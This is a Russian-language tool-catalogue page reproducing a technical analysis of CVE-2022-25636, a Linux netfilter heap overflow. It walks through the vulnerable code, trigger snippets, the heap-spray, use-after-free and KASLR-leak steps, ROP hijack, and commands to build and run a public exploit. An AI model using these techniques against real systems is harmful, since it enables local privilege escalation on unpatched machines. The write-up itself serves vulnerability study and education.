Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/chenaotian/cve-2022-25636
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Подробный технический анализ и описание эксплуатации для CVE-2022-25636, уязвимости переполнения кучи в netfilter ядра Linux, позволяющей повышение локальных привилегий через heap spraying и UAF.

Репозиторий
3224 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-25636 повышение привилегий в netfilter ядра

[toc]

Обзор уязвимости

Идентификатор уязвимости: CVE-2022-25636

Продукт: linux kernel - netfilter

Затрагиваемые версии: linux kernel 5.4 ~

Воздействие: в модуле ядра netfilter присутствует запись за границы кучи; при наличии SYS_ADMIN возможет подъём привилегий.

Настройка среды

Уязвимость находится в модуле ядра netfilter, код в трёх .ko файлах.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

При запуске через qemu возникают проблемы — модули не загружаются. Используется двухсторонняя отладка через vmware.

В ubuntu 21.10 можно вручную заменить ядро:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Затем удалить исходное ядро и скомпилировать exp:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Результат повышения привилегий (успешность менее 50%):

image-20220318151010142

Принцип уязвимости

Место возникновения

Уязвимая функция — nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// выход за границы
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

При установке flow->rule->action.entries (эта структура переменной длины) отсутствует проверка границ кучи, что приводит к записи за границы (целое число (4 или 5) и указатель).

Стек вызовов

Функция используется в nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {// вычисление num_actions на основе переданного правила
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// учитываются только элементы с флагом NFT_OFFLOAD_F_ACTION

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);// выделение памяти под num_actions (структура переменной длины)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	// ctx->num_actions инициализируется 0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {// вызов offload по количеству правил
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);// вызов уязвимой функции
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Видно, что nft_flow_rule_create выделяет структуру flow на основе количества правил из пользовательского пространства. Для подсчёта используется переменная num_actions, но подсчёт ведётся только для правил с флагом NFT_OFFLOAD_F_ACTION. На их основе выделяется память. При последующей обработке offload цикл выполняется не по num_actions, а по тому же первоначальному количеству правил. Однако здесь уже не проверяется флаг NFT_OFFLOAD_F_ACTION. То есть, если среди переданных правил есть такие, у которых нет флага NFT_OFFLOAD_F_ACTION, то количество вызовов offload будет больше, чем выделено под flow->rule->action.entries. Внутри offload вызывается уязвимая функция nft_fwd_dup_netdev_offload, которая каждый раз увеличивает ctx->num_actions, изначально равный 0. В итоге превышает размер массива , что приводит к выходу за границы.

Некоторые структуры:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Стек вызовов:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Использование netfilter и триггер

Ссылка: https://www.openwall.com/lists/oss-security/2022/02/21/2

В этом письме объясняется, как использовать netfilter с помощью библиотек C libmnl и libnftnl. Ключевой момент для триггера уязвимости — наличие флага NFT_OFFLOAD_F_ACTION у добавляемых правил. Только правила, добавленные через nftnl_expr_alloc("immediate");, имеют этот флаг:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {// добавление expr не вызовет выход за границы
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// следующее добавление вызовет выход за границы
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Эксплуатация уязвимости

Эксплуатация не очень стабильна, но техника изящна. Уязвимость позволяет записать по фиксированному смещению за границей неконтролируемый указатель. Личный анализ показывает очень высокую сложность эксплуатации. Простой анализ технического приёма. Согласно коду уязвимости, при каждом выходе за границы записывается целое число (id, фиксированно равно 4 или 5) и указатель (*dev), где указатель указывает на структуру struct net_device. Здесь сосредоточимся только на записи указателя dev:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];// выход за границы
	entry->id = id;
	entry->dev = dev; // запись адреса кучи по фиксированному смещению, dev — struct net_device
	··· ···
}

Что касается структуры struct flow_rule, так как она переменной длины, размер выделяемой памяти определяет возможность эксплуатации (успех).

  • Если передаётся только одно правило, размер структуры равен 0x70, что относится к kmalloc-128 (0x80). При выходе за границы указатель dev будет записан по смещению 0x88, т.е. на 0x8 байт за границей.
  • Если передать два правила, размер структуры будет 0xC0, что точно соответствует kmalloc-192 (0xC0). При выходе за границы указатель dev будет записан по смещению 0xd8, т.е. на 0x18 байт за границей; при двух выходах за границы — по смещению 0x18 + 0x50 и т.д.

Соответствующие структуры:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* каждый бит означает наличие одного идентификатора ключа */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {// размер 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* пользовательский cookie действия */
};

Утечка адреса структуры net_device

Для эксплуатации сначала нужно утечь два раза адреса *dev. Так как нужно два разных адреса dev, один утекается в текущем процессе, другой — в дочернем процессе. Используется msg_msg для утечки ([обзор техники msg_msg] (https://blog.csdn.net/Breeze_CAT/article/details/123007818)). Выполняется heap spray сообщениями размером 0x1040; из-за структуры сообщение делится на две части: вторая часть msg имеет длину 0x70, плюс заголовок — всё это выделяется через kmalloc-128. Затем одно сообщение освобождается, освобождая одну область kmalloc-128. После этого с помощью структуры flow_rule с одним правилом (также kmalloc-128) пытаемся занять освобождённую вторую часть сообщения, формируя следующую компоновку кучи:

image-20220320175028938

Если flow_rule получает только что освобождённую структуру msg_msgseg, то с высокой вероятностью он оказывается рядом с другими разбросанными msg_msgseg. При одном выходе за границы по смещению 0x8 будет записан указатель на кучу net_device (указатель dev). Достаточно принять все разбросанные сообщения, чтобы прочитать этот указатель, завершив утечку адреса для последующей эксплуатации без паники.

UAF с помощью setxattr для утечки kaslr

Далее необходимо утечь kaslr и получить базовый адрес ядра. Используется тот же метод: msg_msg + heap spray. Разбрасывается много сообщений kmalloc-192, на этот раз цель — первая часть msg_msg. Затем аналогично освобождается одно из них и выделяется flow_rule, чтобы постараться сформировать следующую компоновку кучи:

image-20220318184800730

На этот раз используется структура flow_rule с двумя правилами, размер 0xC0, что относится к kmalloc-192. При 6 выходах за границы по смещению 0x18+0x50*5 будет записан указатель *dev. Если это попадает в третью область kmalloc-192 по смещению 0x28, и если это структура msg_msg, то это указатель security. При вызове msgrcv для освобождения этой структуры msg_msg будет вызван kfree, который освободит память, на которую указывает security. Это примитив освобождения произвольного адреса через msg_msg->security. Соответствующий код:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

Таким образом, при приёме только что разбросанных сообщений будет освобождён указатель dev, которым мы перезаписали security, то есть освободится структура net_device. Затем с помощью setxattr + userfaulted пытаемся подменить этот блок, завершив UAF. setxattr может выделить кучу произвольного размера, записать произвольное содержимое и затем освободить. Это стандартный приём эксплуатации в ядре.

Поскольку в ядре много свободных kmalloc-192, одного вызова setxattr недостаточно. Используются несколько потоков, одновременно вызывающих setxattr, и с помощью userfaulted увеличивается время вызова, занимая блок дольше, чтобы выделить больше блоков ядра, включая только что освобождённую структуру net_device. После получения блока можно изменить содержимое net_device, изменив указатель dev_addr на указатель netdev_ops, так как netdev_ops инициализируется как loopback_ops. Также изменяются некоторые поля для проверки успешного изменения:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Затем, вызвав ioctl сокета с SIOCGIFHWADDR для чтения физического адреса, можно прочитать адрес loopback_ops и завершить утечку. Некоторые полезные поля net_device:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; // изменяется для проверки правильности замены
	··· ···
	const struct net_device_ops *netdev_ops;// инициализируется; используется для утечки адреса ядра
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; // используется для перехвата rip
	··· ···
	unsigned char		addr_len; // длина адреса для чтения
	··· ···
	unsigned char		*dev_addr; // подменяется для утечки адреса; читается через SIOCGIFHWADDR
};

Второй UAF для завершения ROP в ядре

Тем же методом setxattr + userfaulted выполняется второй UAF. Теперь, имея адрес ядра, напрямую подменяем ethtool_ops в net_device для перехвата EIP. Затем через ioctl сокета с SIOCETHTOOL вызывается функция из ethtool_ops, что перехватывает RIP, и выполняется ROP. Эксплойт успешно отработал на ubuntu 21.10 с версией ядра 13.0-30:

exp: https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Ссылки

Письмо: https://www.openwall.com/lists/oss-security/2022/02/21/2

Документация автора: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp: https://github.com/Bonfee/CVE-2022-25636

Скачать инструмент
ctx->num_actions
flow->rule->action.entries